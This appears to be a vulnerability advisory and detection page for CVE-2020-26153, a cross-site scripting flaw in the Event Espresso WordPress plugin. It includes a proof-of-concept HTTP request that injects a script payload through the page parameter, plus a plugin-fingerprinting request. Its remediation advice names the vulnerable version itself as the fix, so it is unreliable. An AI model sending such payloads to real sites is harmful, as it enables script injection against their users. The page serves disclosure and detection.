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CVE-2020-26153: Event Espresso Core-Reg 4.10.7.p - Cross-Site Scripting

TitleEvent Espresso Core-Reg 4.10.7.p - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
RemediationUpgrade to Event Espresso Core-Reg version 4.10.7.p or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.36504
CVE IDCVE-2020-26153
CWE IDCWE-79
Tags cve2020 cve xss wordpress wp-plugin eventespresso vuln

🔍 Vulnerability Description

Event Espresso Core-Reg 4.10.7.p is vulnerable to cross-site scripting in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php and allows remote attackers to inject arbitrary web script or HTML via the page parameter.

🌐 HTTP Request

GET /wp-content/plugins/event-espresso-core-reg/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10.15, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cb HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26153.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-26153.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A